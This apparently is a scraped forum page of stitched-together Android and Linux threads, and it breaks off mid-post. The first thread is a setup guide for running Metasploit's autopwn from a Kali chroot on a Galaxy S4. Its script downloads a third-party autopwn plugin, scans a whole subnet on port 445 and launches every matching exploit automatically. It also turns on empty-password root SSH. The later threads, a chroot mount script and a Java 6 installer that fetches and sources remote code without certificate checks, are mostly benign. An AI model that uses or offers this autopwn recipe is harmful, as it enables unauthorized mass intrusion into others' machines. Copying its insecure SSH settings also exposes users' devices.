Linux Deploy KitKat Android Metasploit Autopwn Exploiting - Galaxy S 4 General

Anybody remember autopwn ? well... its back so lets POP some boxes from a phone!
Code:
Setup:
* T-Mobile T759 (Samsung Galaxy S4)
* Gummy-2.1-12-18-13-NIGHTLY-jfltetmo
* 16gig card formatted first fat32 8.5gig and ext2 7.3gig ( using Link2SD on appstore to mount the ext2 part)
Reference:
https://forums.kali.org/showthread.php?18379-db_autopwn-msfconsole-Killed
https://github.com/meefik/linuxdeploy/issues/102#issuecomment-36440054
Video:
https://docs.google.com/file/d/0B-f2nrbnySfjdS1wTGtWMDlFT0k
http://rmccurdy.com/scripts/videos/rmccurdy_com/Linux_Deploy_KitKat_Android_Metasploit_Autopwn.mp4
# Looks I did not setup like you can use FAT32 and still have a gig or so free. so I will most likely go back to normal FAT32 single part
/data/sdext2/Kali2.img Kali2.img (4293918720 bytes in 873.174s)
* install linux deploy
* select Kali
* leave the size to auto if you like or set the size and path to above 4gig to what ever Link2SD mounted your other ext2 partition to see below for 4+gig image
* before you click install i had to remove the apps wget and use my native wget
mv /data/local/linux/bin/wget /data/local/linux/bin/wget.old
* installs normally I enable ssh only.. login android password changeme
* apt-get install metasploit screen -y
* allow blank root login.. vi /etc/ssh/sshd_config ... /etc/init.d/ssh restart
PermitEmptyPasswords yes
PermitRootLogin yes
#UsePAM yes
PasswordAuthentication yes
* stop postgres
/etc/init.d/postgresql stop
* start postgres
su postgres -c "/usr/lib/postgresql/9.1/bin/postgres -D /etc/postgresql/9.1/main/" &
* you may not need the above step .. I had issues before with postgres starting
* create msf user of msf and password msf
su postgres -c "createuser msf -P"
* get autopwn script and put it in the plugins folder for MSF
wget -U notwgetiblockit -O /usr/share/metasploit-framework/plugins/db_autopwn.rb 'http://rmccurdy.com/scripts/db_autopwn.rb'
* Autopwn script for Kali put in /usr/local/sbin/AP
* usage AP 192.168.1.1-255
-------
# set ulimit to 50K not 1024
# stop postgres
/etc/init.d/postgresql stop
sleep 3
# start postgres
su postgres -c "/usr/lib/postgresql/9.1/bin/postgres -D /etc/postgresql/9.1/main/" &
sleep 20
# drop and create DB
su postgres -c "dropdb msf;createdb --owner=msf msf"
ulimit -s unlimited
ulimit -l unlimited
ulimit -n 50000
ulimit -q unlimited
ulimit -e unlimited
ulimit -i unlimited
ulimit -u unlimited
ulimit -c unlimited
# load db_autopwn.rb ,connect , run nmap,autopwn
echo "load db_autopwn" > ~/msf.rc
echo "sleep 5" >> ~/msf.rc
echo "db_connect msf:[email protected]/msf" >> ~/msf.rc
echo "sleep 5" >> ~/msf.rc
echo "db_nmap -p 445 $1" >> ~/msf.rc
echo "sleep 5" >> ~/msf.rc
echo bash -c \'ulimit -s unlimited\' >> ~/msf.rc
echo bash -c \'ulimit -l unlimited\' >> ~/msf.rc
echo bash -c \'ulimit -n 50000\' >> ~/msf.rc
echo bash -c \'ulimit -q unlimited\' >> ~/msf.rc
echo bash -c \'ulimit -e unlimited\' >> ~/msf.rc
echo bash -c \'ulimit -i unlimited\' >> ~/msf.rc
echo bash -c \'ulimit -u unlimited\' >> ~/msf.rc
echo bash -c \'ulimit -c unlimited\' >> ~/msf.rc
echo "db_autopwn -p -t -e -v " >> ~/msf.rc
/usr/share/metasploit-framework/msfconsole -r ~/msf.rc
-------
For large 4+gig image
* setup fat32 as first and ext2 as second
* use Link2SD to auto mount both partitions
* my path was /data/sdext2/Kali.img

Related

[Script] Chroot Control Script

One of the fun things you can do on your Android device, is to play around with different ways of getting a real distro (Debian, Ubuntu etc.) working along side the Android system. There are several (A lot) of tutorials in here on how to do this, so this part will not be covered here. This thread only contains some scripts that will help make it easier working with the chroot.
Most of the scripts that comes with the endless pool of chroot tutorials, is only made to mount and unmount the distro image in the most simple way. But nothing that helps walking in and out of the chroot without mount/unmount, and nothing that takes different services, busy devices etc. into consideration.
The debian.sh script in this thread has many tasks. It will on execution check to see if the image is mounted or not. If the image is mounted, it will just enter the chroot. If not, it will mount the image and then enter the chroot. On exit it will provide you with the option of exiting the chroot or exit and unmount.
Also it provides 4 custom scripts that is placed and executed inside the chroot. One for mount, unmount, enter chroot, leave chroot. This makes it possible to control chroot services much easier.
The script debian.sh is executed using the command "debian". You can also unmount the chroot from within the android shell by executing "debian unmount" instead of entering the chroot and then exit choosing to unmount.
The unmount process has several and different unmount attempts in case of busy devices, running services etc. which will make sure that the chroot is successfully unmounted.
File: /system/bin/debian
Code:
#!/system/bin/sh
su -c "/system/bin/debian.sh [email protected]"
File: /system/bin/debian.sh
Code:
#!/system/bin/sh
createLinuxBoot() {
if [ ! -f $FILESYSTEM ]; then
echo "Missing the $DIST filesystem image!"
return 0
elif [ ! -z "$(mount | grep "$MOUNTPOINT ")" ]; then
# If the loop device is already mounted, we do nothing.
echo " - $DIST is already mounted. Entering chroot..."
else
echo " - Executing mount proccess of $DIST..."
if [ ! -d $MOUNTPOINT ]; then
# Create the mount point if it does not already exist
busybox mkdir -p $MOUNTPOINT 2> /dev/null
if [ ! -d $MOUNTPOINT ]; then
echo "It was not possible to create the missing mount location ($MOUNTPOINT)!"
return 0
fi
fi
# Android places loop devices in /dev/block/ instead of root /dev/
# If there are none in /dev/ we create links between /dev/loopX and /dev/block/loopX so that losetup will work as it should.
if [ ! -e /dev/loop0 ]; then
for i in 0 1 2 3 4 5 6 7
do
# Create each block device
mknod /dev/loop$i b 7 $i
done
fi
# Android also placed the frame buffer in /dev/grapichs instead of /dev
if [ ! -e /dev/fb0 ]; then
mknod /dev/fb0 b 29 0
fi
# Locate the current loop device file
if [ ! -z "$(losetup | grep "$FILESYSTEM")" ]; then
# If the filesystem file is already attached to an loop device, we get the path to the device file.
loblk=$(losetup | grep "$FILESYSTEM" | cut -d ":" -f 1)
else
# If the filesystem file is not yet attached, we attach it.
loblk=$(losetup -f)
losetup $loblk $FILESYSTEM 2> /dev/null
# Make sure that the device was successfully attached to a loop device file
if [ -z "$(losetup | grep "$FILESYSTEM")" ]; then
echo "It was not possible to attach the $DIST filesystem to a loop device!"
return 0
fi
fi
# Mount the filesystem
mount $loblk $MOUNTPOINT 2> /dev/null
if [ ! -z "$(mount | grep "$MOUNTPOINT ")" ]; then
# Bind some Android dirs to the linux filesystem
for i in $MOUNT_BIND
do
# Bind the dirs if they are not already binded
if [ -z "$(mount | grep "$MOUNTPOINT/$i ")" ]; then
# Create any missing dirs in the mountpoint
if [ ! -d $MOUNTPOINT/$i ]; then
busybox mkdir -p $MOUNTPOINT/$i 2> /dev/zero
fi
mount --bind /$i $MOUNTPOINT/$i
fi
done
# FIX the "stdin: is not a tty" error in direct hadware case.
if [ -z "$(mount | grep "$MOUNTPOINT/dev/pts ")" ]; then
mount -t devpts devpts $MOUNTPOINT/dev/pts
fi
# For the network.
#sysctl -w net.ipv4.ip_forward=1
echo 1 > /proc/sys/net/ipv4/ip_forward
# Cleanup tmp folder.
rm -rf $MOUNTPOINT/tmp/*
else
echo "It was not possible to mount $DIST at the specified location ($MOUNTPOINT)!"
return 0
fi
if [ -f $MOUNTPOINT/etc/init.chroot/rc_mount.sh ]; then
# Execute the mount init file, if it exists
chroot $MOUNTPOINT /etc/init.chroot/rc_mount.sh
fi
echo " - $DIST was successsfully mounted. Entering chroot..."
fi
return 1
}
removeLinuxBoot() {
if [ -z "$(mount | grep "$MOUNTPOINT ")" ]; then
# If linux is not mounted, then do nothing.
echo " - $DIST is already unmounted. Exiting..."
else
echo " - Executing unmount process of $DIST..."
if [ -f $MOUNTPOINT/etc/init.chroot/rc_unmount.sh ]; then
# Execute the unmount init script, if it exist.
chroot $MOUNTPOINT /etc/init.chroot/rc_unmount.sh
fi
sync
# The sleep part is very important. It may take some time before /dev is no longer busy
# after executing some services in the rc_unmount.sh script.
sleep 1
# Make sure that we have an loop device file to use
if [ ! -z "$(losetup | grep "$FILESYSTEM")" ]; then
# Get the loop device file
loblk=$(losetup | grep "$FILESYSTEM" | cut -d ":" -f 1)
for i in $UMOUNT_BIND
do
# Unmount all binding dirs
if [ ! -z "$(mount | grep "$MOUNTPOINT/$i ")" ]; then
umount $MOUNTPOINT/$i 2> /dev/zero
fi
done
sync
# Unmount the device
# In most cases one umount attempt will be enough.
# However it may take up to 3 tries in order to make it work.
# It depends on the types of services running or has been running before unmounting.
umount $MOUNTPOINT 2> /dev/null && sleep 1 2> /dev/zero
if [ ! -z "$(mount | grep "$MOUNTPOINT ")" ]; then
sync
umount $MOUNTPOINT 2> /dev/null && sleep 1 2> /dev/zero
fi
# If the device could not be unmounted
if [ ! -z "$(mount | grep "$MOUNTPOINT ")" ]; then
echo " - Unable to unmount $DIST. Will attempt to kill attached processes..."
# Try to kill all processes holding the device
fuser -k -9 $loblk
sync
# Use umount with the -l option to take care of the rest
umount -l $MOUNTPOINT 2> /dev/null && sleep 1
fi
# Make sure the device has been successfully unmounted
if [ -z "$(mount | grep "$MOUNTPOINT ")" ]; then
# Try to detach the device from the loop device file
losetup -d $loblk 2> /dev/null
# Make sure that the device was successfully detached
if [ -z "$(losetup | grep "$FILESYSTEM")" ]; then
echo "$DIST has been successfully unmounted!"
else
echo "$DIST has been successfully unmounted, but was not able not detach the loop device!"
fi
else
echo "$DIST could not be successfully unmounted!"
fi
else
echo "Could not locate the loop device. $DIST was not unmounted!"
fi
fi
}
if [ -z "$EXPORTED" ]; then
export EXPORTED="TRUE"
# Basic needed variables
export TERM=linux
export HOME=/root
export USER=root
export LOGNAME=root
export UID=0
export SHELL=bash
# Here you can add all of the paths that should be binded. One list for mount and one reversed list for unmount.
export MOUNT_BIND="dev dev/pts dev/cpuctl proc sys sys/kernel/debug system d vendor acct sdcard cache sd-ext data"
export UMOUNT_BIND="dev/cpuctl dev/pts dev proc sys/kernel/debug d sys vendor acct sdcard cache sd-ext system data"
# Here you can change mount and image paths
export DIST="Debian" # The name of the distro. Is used for the messages.
export FILESYSTEM=/mnt/sdcard/debian.img # Path to the distro image file
export MOUNTPOINT=/data/debian # Path where the distro is to be mounted
fi
export OLDPATH=$PATH
export PATH=/usr/local/bin:/usr/local/sbin:/usr/bin:/usr/sbin:/bin:/root/bin:$PATH
if [ "$1" = "unmount" ]; then
removeLinuxBoot
else
createLinuxBoot
if [ $? -eq 1 ]; then
if [ -f $MOUNTPOINT/etc/init.chroot/rc_enter.sh ]; then
chroot $MOUNTPOINT /etc/init.chroot/rc_enter.sh
fi
chroot $MOUNTPOINT /bin/bash -i
if [ -f $MOUNTPOINT/etc/init.chroot/rc_leave.sh ]; then
chroot $MOUNTPOINT /etc/init.chroot/rc_leave.sh
fi
echo -n " - Type [Y] to unmount $DIST or random key to exit chroot ]# "
read ACTION
if [ "$ACTION" = "y" ] || [ "$ACTION" = "Y" ]; then
removeLinuxBoot
fi
fi
fi
# Restore the PATH variable when executing chroot
export PATH=$OLDPATH
By default debian.sh will look for /mnt/sdcard/debian.img and mount it at /data/debian
The script has build-in first-time-install functionality that will create missing directories etc. Just change the variable "FILESYSTEM" in debian.sh to the correct path and filename of your distro image, and it will handle the rest.
Chroot Init Scripts
Inside your chroot, you can create the directory /etc/init.chroot and create the fallowing files.
rc_mount.sh - Executed after mount
rc_unmount.sh - Executed before unmount
rc_enter.sh - Executed when entering chroot
rc_leave.sh - Executed when leaving chroot
Here are an example of a mount and unmount script used to control tightvncserver.
File: (chroot) /etc/init.chroot/rc_mount.sh
Code:
#!/bin/sh
# Make sure that the vncserver is completly stopped before starting.
if [ ! -f /tmp/.X11-unix/X1 ] && [ ! -f /tmp/.X1-lock ]; then
# Start vncserver
vncserver -geometry 800x480 :1
else
# This is in case something went wrong the last time
# it was shut down. Perhaps an uncomplete unmount.
vncserver -kill :1 2> /dev/zero
unset /tmp/.X11-unix/X1 2> /dev/zero 2> /dev/zero
unset /tmp/.X1-lock 2> /dev/zero 2> /dev/zero
vncserver -geometry 800x480 :1
fi
File: (chroot) /etc/init.chroot/rc_unmount.sh
Code:
#!/bin/sh
# Only stop this if it is started
if [ -f /tmp/.X11-unix/X1 ] || [ -f /tmp/.X1-lock ]; then
vncserver -kill :1
# Make sure that these are removed
unset /tmp/.X11-unix/X1 2> /dev/zero
unset /tmp/.X1-lock 2> /dev/zero
fi
Using these scripts, the VNC Server is started on chroot mount and stopped on chroot unmount. You can still leave and enter the chroot keeping the VNC Server running.

[GUIDE] Simple Java6 installation on Precise/Mint-Maya/Ubuntu 12.04 LTS

Hi all. I recently upgraded and was having a heck of a time trying to find out how to install java6 on the new Mint 13 since they pulled all the PPA's due to licensing restrictions. These are the steps I took to get it installed and working with Mint 13 Maya. This SHOULD work for other flavors of Precise.
Open terminal and in it type:
Code:
sudo apt-get purge openjdk*
ENTER
Code:
sudo apt-get purge *jre*
ENTER
Open up synaptics package manager and do a search for JRE or any other java related packages, make sure they are uninstalled.
NOW.
Once you are sure you've cleansed your system of any other java muck that might conflict you need to download this script.
https://github.com/flexiondotorg/oab-java6/blob/master/oab-java6.sh
Alternatively, open up a plain txt file and copy this code into it. The download link will more than likely be more up to date, but i'm putting this here for shiggles. Name it whatever you want.
Code:
#!/usr/bin/env bash
# Copyright (c) Martin Wimpress
# http://flexion.org/
# See the file "LICENSE" for the full license governing this code.
# References
# - https://github.com/rraptorr/sun-java6
# - http://ubuntuforums.org/showthread.php?t=1090731
# - http://irtfweb.ifa.hawaii.edu/~lockhart/gpg/gpg-cs.html
# Variables
VER="0.2.1"
function copyright_msg() {
local MODE=${1}
if [ "${MODE}" == "build_docs" ]; then
echo "OAB-Java6"
echo "========="
fi
echo `basename ${0}`" v${VER} - Create a local 'apt' repository for Ubuntu Java packages."
echo "Copyright (c) Martin Wimpress, http://flexion.org. MIT License"
echo
echo "By running this script to download Java you acknowledge that you have"
echo "read and accepted the terms of the Oracle end user license agreement."
echo
echo "* http://www.oracle.com/technetwork/java/javase/terms/license/"
echo
# Adjust the output if we are executing the script.
# It doesn't make sense to see this message here in the documentation.
if [ "${MODE}" != "build_docs" ]; then
echo "If you want to see what this is script is doing while it is running then execute"
echo "the following from another shell:"
echo
echo " tail -f `pwd`/`basename ${0}`.log"
echo
fi
}
function usage() {
local MODE=${1}
echo "Usage"
echo "-----"
echo "::"
echo
echo " sudo ${0}"
echo
echo "Optional parameters"
echo
echo "* ``-c`` : Remove pre-existing packages from ``/var/local/oab/deb``"
echo "* ``-s`` : Skip building if the packages already exist"
echo "* ``-h`` : This help"
echo
echo "How do I download and run this thing?"
echo "-------------------------------------"
echo "Like this."
echo "::"
echo
echo " cd ~/"
echo " wget https://github.com/flexiondotorg/oab-java6/raw/${VER}/`basename ${0}` -O `basename ${0}`"
echo " chmod +x `basename ${0}`"
echo " sudo ./`basename ${0}`"
echo
echo "If you are behind a proxy you may need to run using:"
echo "::"
echo
echo " sudo -i ./`basename ${0}`"
echo
# Adjust the output if we are building the docs.
if [ "${MODE}" == "build_docs" ]; then
echo "If you want to see what this is script is doing while it is running then execute"
echo "the following from another shell:"
echo "::"
echo
echo " tail -f ./`basename ${0}`.log"
echo
fi
echo "How it works"
echo "------------"
echo "This script is merely a wrapper for the most excellent Debian packaging"
echo "scripts prepared by Janusz Dziemidowicz."
echo
echo "* https://github.com/rraptorr/sun-java6"
echo
echo "The basic execution steps are:"
echo
echo "* Remove, my now disabled, Java PPA 'ppa:flexiondotorg/java'."
echo "* Install the tools required to build the Java packages."
echo "* Create download cache in ``/var/local/oab/pkg``."
echo "* Download the i586 and x64 Java install binaries from Oracle. Yes, both are required."
echo "* Clone the build scripts from https://github.com/rraptorr/sun-java6"
echo "* Build the Java packages applicable to your system."
echo "* Create local ``apt`` repository in ``/var/local/oab/deb`` for the newly built Java Packages."
echo "* Create a GnuPG signing key in ``/var/local/oab/gpg`` if none exists."
echo "* Sign the local ``apt`` repository using the local GnuPG signing key."
echo
echo "What gets installed?"
echo "--------------------"
echo "Nothing!"
echo
echo "This script will no longer try and directly install or upgrade any Java"
echo "packages, instead a local ``apt`` repository is created that hosts locally"
echo "built Java packages applicable to your system. It is up to you to install"
echo "or upgrade the Java packages you require using ``apt-get``, ``aptitude`` or"
echo "``synaptic``, etc. For example, once this script has been run you can simply"
echo "install the JRE by executing the following from a shell."
echo "::"
echo
echo " sudo apt-get install sun-java6-jre"
echo
echo "Or if you already have the *\"official\"* Ubuntu packages installed then you"
echo "can upgrade by executing the following from a shell."
echo "::"
echo
echo " sudo apt-get upgrade"
echo
echo "The local ``apt`` repository is just that, **local**. It is not accessible"
echo "remotely and `basename ${0}` will never enable that capability to ensure"
echo "compliance with Oracle's asinine license requirements."
echo
echo "Known Issues"
echo "------------"
echo
echo "* The Oracle download servers can be horribly slow. My script caches the downloads so you only need download each file once."
echo
echo "What is 'oab'?"
echo "--------------"
echo "Because, O.A.B! ;-)"
echo
# Only exit if we are not build docs.
if [ "${MODE}" != "build_docs" ]; then
exit 1
fi
}
function build_docs() {
copyright_msg build_docs > README.rst
# Add the usage instructions
usage build_docs >> README.rst
# Add the CHANGES
if [ -e CHANGES ]; then
cat CHANGES >> README.rst
fi
# Add the AUTHORS
if [ -e AUTHORS ]; then
cat AUTHORS >> README.rst
fi
# Add the TODO
if [ -e TODO ]; then
cat TODO >> README.rst
fi
# Add the LICENSE
if [ -e LICENSE ]; then
cat LICENSE >> README.rst
fi
echo "Documentation built."
exit 0
}
copyright_msg
# 'source' my common functions
if [ -r /tmp/common.sh ]; then
source /tmp/common.sh
if [ $? -ne 0 ]; then
echo "ERROR! Couldn't import common functions from /tmp/common.sh"
rm /tmp/common.sh 2>/dev/null
exit 1
else
update_thyself
fi
else
echo "Downloading common.sh"
wget --no-check-certificate -q "https://github.com/flexiondotorg/common/raw/master/common.sh" -O /tmp/common.sh
chmod 666 /tmp/common.sh
source /tmp/common.sh
if [ $? -ne 0 ]; then
echo "ERROR! Couldn't import common functions from /tmp/common.sh"
rm /tmp/common.sh 2>/dev/null
exit 1
fi
fi
# Check we are running on a supported system in the correct way.
check_root
check_sudo
check_ubuntu "all"
BUILD_KEY=""
BUILD_CLEAN=0
SKIP_REBUILD=""
# Parse the options
OPTSTRING=bchk:s
while getopts ${OPTSTRING} OPT
do
case ${OPT} in
b) build_docs;;
c) BUILD_CLEAN=1;;
h) usage;;
k) BUILD_KEY=${OPTARG};;
s) SKIP_REBUILD=1;;
*) usage;;
esac
done
shift "$(( $OPTIND - 1 ))"
# Remove my, now disabled, Java PPA.
if [ -e /etc/apt/sources.list.d/flexiondotorg-java-${LSB_CODE}.list ]; then
ncecho " [x] Removing ppa:flexiondotorg/java "
rm -v /etc/apt/sources.list.d/flexiondotorg-java-${LSB_CODE}.list* >> "$log" 2>&1
cecho success
fi
# Determine the build and runtime requirements.
BUILD_DEPS="build-essential debhelper defoma devscripts dpkg-dev git-core \
gnupg imvirt libasound2 libxi6 libxt6 libxtst6 rng-tools unixodbc unzip"
if [ "${LSB_ARCH}" == "amd64" ]; then
BUILD_DEPS="${BUILD_DEPS} lib32asound2 ia32-libs"
fi
# Install the Java build requirements
ncecho " [x] Installing Java build requirements "
apt-get install -y --no-install-recommends ${BUILD_DEPS} >> "$log" 2>&1 &
pid=$!;progress $pid
# Make sure the required dirs exist.
ncecho " [x] Making build directories "
mkdir -p /var/local/oab/{deb,gpg,pkg} >> "$log" 2>&1 &
pid=$!;progress $pid
# Set the permissions appropriately for 'gpg'
chown root:root /var/local/oab/gpg 2>/dev/null
chmod 0700 /var/local/oab/gpg 2>/dev/null
# Remove the 'src' directory everytime.
ncecho " [x] Removing clones of https://github.com/rraptorr/sun-java6 "
rm -rfv /var/local/oab/sun-java6* 2>/dev/null >> "$log" 2>&1
rm -rfv /var/local/oab/src 2>/dev/null >> "$log" 2>&1 &
pid=$!;progress $pid
# Clone the code
ncecho " [x] Cloning https://github.com/rraptorr/sun-java6 "
cd /var/local/oab/ >> "$log" 2>&1
git clone https://github.com/rraptorr/sun-java6 src >> "$log" 2>&1 &
pid=$!;progress $pid
# Get the last commit tag.
cd /var/local/oab/src >> "$log" 2>&1
TAG=`git tag -l | tail -n1`
# Checkout the tagged, stable, version.
ncecho " [x] Checking out ${TAG} "
git checkout ${TAG} >> "$log" 2>&1 &
pid=$!;progress $pid
# Cet the current Debian package version and package urgency
DEB_VERSION=`head -n1 /var/local/oab/src/debian/changelog | cut -d'(' -f2 | cut -d')' -f1 | cut -d'~' -f1`
DEB_URGENCY=`head -n1 /var/local/oab/src/debian/changelog | cut -d'=' -f2`
# Determine the currently supported Java version and update
JAVA_VER=`echo ${DEB_VERSION} | cut -d'.' -f1`
JAVA_UPD=`echo ${DEB_VERSION} | cut -d'.' -f2 | cut -d'-' -f1`
# Try and dynamic find the JDK downloads
ncecho " [x] Getting Java SE download page"
wget "http://www.oracle.com/technetwork/java/javase/downloads/index.html" -O /tmp/oab-index.html >> "$log" 2>&1 &
pid=$!;progress $pid
# See if the Java version is on the download frontpage, otherwise look for it in
# the previous releases page.
DOWNLOAD_INDEX=`grep -P -o "/technetwork/java/javase/downloads/jdk-${JAVA_VER}u${JAVA_UPD}-downloads-\d+\.html" /tmp/oab-index.html | uniq`
if [ -n "${DOWNLOAD_INDEX}" ]; then
ncecho " [x] Getting current release download page "
wget http://www.oracle.com/${DOWNLOAD_INDEX} -O /tmp/oab-download.html >> "$log" 2>&1 &
pid=$!;progress $pid
else
ncecho " [x] Getting previous releases download page "
wget http://www.oracle.com/technetwork/java/javasebusiness/downloads/java-archive-downloads-javase6-419409.html -O /tmp/oab-download.html >> "$log" 2>&1 &
pid=$!;progress $pid
fi
# Download the Oracle install packages.
for JAVA_BIN in jdk-${JAVA_VER}u${JAVA_UPD}-linux-i586.bin jdk-${JAVA_VER}u${JAVA_UPD}-linux-x64.bin
do
# Get the download URL and size
DOWNLOAD_URL=`grep ${JAVA_BIN} /tmp/oab-download.html | cut -d'{' -f2 | cut -d',' -f3 | cut -d'"' -f4`
DOWNLOAD_SIZE=`grep ${JAVA_BIN} /tmp/oab-download.html | cut -d'{' -f2 | cut -d',' -f2 | cut -d':' -f2 | sed 's/"//g'`
# Cookies required for download
COOKIES="oraclelicensejdk-${JAVA_VER}u${JAVA_UPD}-oth-JPR=accept-securebackup-cookie;gpw_e24=http://edelivery.oracle.com"
ncecho " [x] Downloading ${JAVA_BIN} : ${DOWNLOAD_SIZE} "
wget --no-check-certificate --header="Cookie: ${COOKIES}" -c "${DOWNLOAD_URL}" -O /var/local/oab/pkg/${JAVA_BIN} >> "$log" 2>&1 &
pid=$!;progress_loop $pid
ncecho " [x] Symlinking ${JAVA_BIN} "
ln -s /var/local/oab/pkg/${JAVA_BIN} /var/local/oab/src/${JAVA_BIN} >> "$log" 2>&1 &
pid=$!;progress_loop $pid
done
# Determine the new version
NEW_VERSION="${DEB_VERSION}~${LSB_CODE}1"
if [ -n "${SKIP_REBUILD}" -a -r "/var/local/oab/deb/sun-java${JAVA_VER}_${NEW_VERSION}_${LSB_ARCH}.changes" ]; then
echo " [!] Package exists, skipping build "
echo "All done!"
exit
fi
# Genereate a build message
BUILD_MESSAGE="Automated build for ${LSB_REL} using https://github.com/rraptorr/sun-java6"
# Change directory to the build directory
cd /var/local/oab/src
# Update the changelog
ncecho " [x] Updating the changelog "
dch --distribution ${LSB_CODE} --force-distribution --newversion ${NEW_VERSION} --force-bad-version --urgency=${DEB_URGENCY} "${BUILD_MESSAGE}" >> "$log" 2>&1 &
pid=$!;progress $pid
# Build the binary packages
ncecho " [x] Building the packages "
dpkg-buildpackage -b >> "$log" 2>&1 &
pid=$!;progress_can_fail $pid
if [ -e /var/local/oab/sun-java${JAVA_VER}_${NEW_VERSION}_${LSB_ARCH}.changes ]; then
# Remove any existing .deb files if the 'clean' option was selected.
if [ ${BUILD_CLEAN} -eq 1 ]; then
ncecho " [x] Removing existing .deb packages "
rm -fv /var/local/oab/deb/* >> "$log" 2>&1 &
pid=$!;progress $pid
fi
# Populate the 'apt' repository with .debs
ncecho " [x] Moving the packages "
mv -v /var/local/oab/sun-java${JAVA_VER}_${NEW_VERSION}_${LSB_ARCH}.changes /var/local/oab/deb/ >> "$log" 2>&1
mv -v /var/local/oab/*sun-java${JAVA_VER}-*_${NEW_VERSION}_*.deb /var/local/oab/deb/ >> "$log" 2>&1 &
pid=$!;progress $pid
else
error_msg "ERROR! Packages failed to build."
fi
# Create a temporary 'override' file, which may contain duplicates
echo "#Override" > /tmp/override
echo "#Package priority section" >> /tmp/override
for FILE in /var/local/oab/deb/*.deb
do
DEB_PACKAGE=`dpkg --info ${FILE} | grep Package | cut -d':' -f2`
DEB_SECTION=`dpkg --info ${FILE} | grep Section | cut -d'/' -f2`
echo "${DEB_PACKAGE} high ${DEB_SECTION}" >> /tmp/override
done
# Remove the duplicates from the overide file
uniq /tmp/override > /var/local/oab/deb/override
# Create the 'apt' Packages.gz
ncecho " [x] Creating Packages.gz file "
cd /var/local/oab/deb
dpkg-scanpackages . override 2>/dev/null > Packages
cat Packages | gzip -c9 > Packages.gz
rm /var/local/oab/deb/override 2>/dev/null
cecho success
# Create a 'Release' file
ncecho " [x] Creating Release file "
cd /var/local/oab/deb
echo "Origin: `hostname --fqdn`" > Release
echo "Label: Java" >> Release
echo "Suite: ${LSB_CODE}" >> Release
echo "Version: ${LSB_REL}" >> Release
echo "Codename: ${LSB_CODE}" >> Release
echo "Date: `date -R`" >> Release
echo "Architectures: ${LSB_ARCH}" >> Release
echo "Components: restricted" >> Release
echo "Description: Local Java Repository" >> Release
echo "MD5Sum:" >> Release
for PACKAGE in Packages*
do
printf ' '`md5sum ${PACKAGE} | cut -d' ' -f1`" %16d ${PACKAGE}\n" `wc --bytes ${PACKAGE} | cut -d' ' -f1` >> Release
done
cecho success
# Skip anything todo with automated key creation if this script is running in
# an OpenVZ container.
if [[ `imvirt` != "OpenVZ" ]]; then
# Do we need to create signing keys
if [ ! -e /var/local/oab/gpg/pubring.gpg ] && [ ! -e /var/local/oab/gpg/secring.gpg ] && [ ! -e /var/local/oab/gpg/trustdb.gpg ]; then
ncecho " [x] Create GnuPG configuration "
echo "Key-Type: DSA" > /var/local/oab/gpg-key.conf
echo "Key-Length: 1024" >> /var/local/oab/gpg-key.conf
echo "Subkey-Type: ELG-E" >> /var/local/oab/gpg-key.conf
echo "Subkey-Length: 2048" >> /var/local/oab/gpg-key.conf
echo "Name-Real: `hostname --fqdn`" >> /var/local/oab/gpg-key.conf
echo "Name-Email: [email protected]`hostname --fqdn`" >> /var/local/oab/gpg-key.conf
echo "Expire-Date: 0" >> /var/local/oab/gpg-key.conf
cecho success
# Stop the system 'rngd'.
/etc/init.d/rng-tools stop >> "$log" 2>&1
ncecho " [x] Start generating entropy "
rngd -r /dev/urandom -p /tmp/rngd.pid >> "$log" 2>&1 &
pid=$!;progress $pid
ncecho " [x] Creating signing key "
gpg --homedir /var/local/oab/gpg --batch --gen-key /var/local/oab/gpg-key.conf >> "$log" 2>&1 &
pid=$!;progress $pid
ncecho " [x] Stop generating entropy "
kill -9 `cat /tmp/rngd.pid` >> "$log" 2>&1 &
pid=$!;progress $pid
rm /tmp/rngd.pid 2>/dev/null
# Start the system 'rngd'.
/etc/init.d/rng-tools start >> "$log" 2>&1
fi
fi
# Do we have signing keys, if so use them.
if [ -e /var/local/oab/gpg/pubring.gpg ] && [ -e /var/local/oab/gpg/secring.gpg ] && [ -e /var/local/oab/gpg/trustdb.gpg ]; then
# Sign the Release
ncecho " [x] Signing the 'Release' file "
rm /var/local/oab/deb/Release.gpg 2>/dev/null
gpg --homedir /var/local/oab/gpg --armor --detach-sign --output /var/local/oab/deb/Release.gpg /var/local/oab/deb/Release >> "$log" 2>&1 &
pid=$!;progress $pid
# Export public signing key
ncecho " [x] Exporting public key "
gpg --homedir /var/local/oab/gpg --export -a "`hostname --fqdn`" > /var/local/oab/deb/pubkey.asc
cecho success
# Add the public signing key
ncecho " [x] Adding public key "
apt-key add /var/local/oab/deb/pubkey.asc >> "$log" 2>&1 &
pid=$!;progress $pid
fi
# Update apt cache
echo "deb file:///var/local/oab/deb / #Sun Java6 - https://github.com/flexiondotorg/oab-java6" > /etc/apt/sources.list.d/oab.list
apt_update
echo "All done!"
Whether you download the script, or if you make your own text file, you need to enable the executing permission bit. So change your directory to wherever you saved the script and then in terminal type this and hit enter:
Code:
chmod +x ./whatever_the_script_is_named
Then in the terminal run the script with:
Code:
sudo ./oab-java6.sh
or
Code:
sudo ./whatever_you_named_this_script
What this does, is build packages for your system and places them in a local repository for apt-get to install. This bypasses java anal retentive licensing bullsquash. So, now we need to install it with:
Code:
sudo apt-get install sun-java6-jre
ENTER
Wait for it to finish and ensure your version is correcty by typing:
Code:
java -version
ENTER
You should get an output similar to:
Code:
[email protected] ~ $ java -version
java version "1.6.0_32"
Java(TM) SE Runtime Environment (build 1.6.0_32-b05)
Java HotSpot(TM) 64-Bit Server VM (build 20.7-b02, mixed mode)
[email protected] ~ $
Hope this helps someone and I hope this is in the correct forum!
Im going to be editing this as it seems there's really no reason to purge OpenJDK from the system, I think. I'm also having some compiling errors so once I get those nailed down, I'll probably just write a guide detailing the entire setup/config for 12.04.
It works !!!
Thanks for posting this, this worked well.
Only thing I would like to add is that if someone is looking to add the java plugin to firefox, then they would need to manually create a link in the firefox plugins directory:
$ cd /usr/lib/firefox-addons/plugins
$ sudo ln -s /usr/lib/jvm/java-6-sun-1.6.0.32/jre/lib/i386/libnpjp2.so
$ ls -lrt
total 0
lrwxrwxrwx 1 root root 57 2011-12-20 11:05 libnpjp2.so -> /usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/i386/libnpjp2.so
Restart firefox, it should work now.
Keep It All!
Hi folks
I'll just chuck an alternative method in for good measure and one that I successfully on ubuntu versions 11.10 , 12.04 and 12.10 as well every other debian derivative
Add these three repositories like so.
Code:
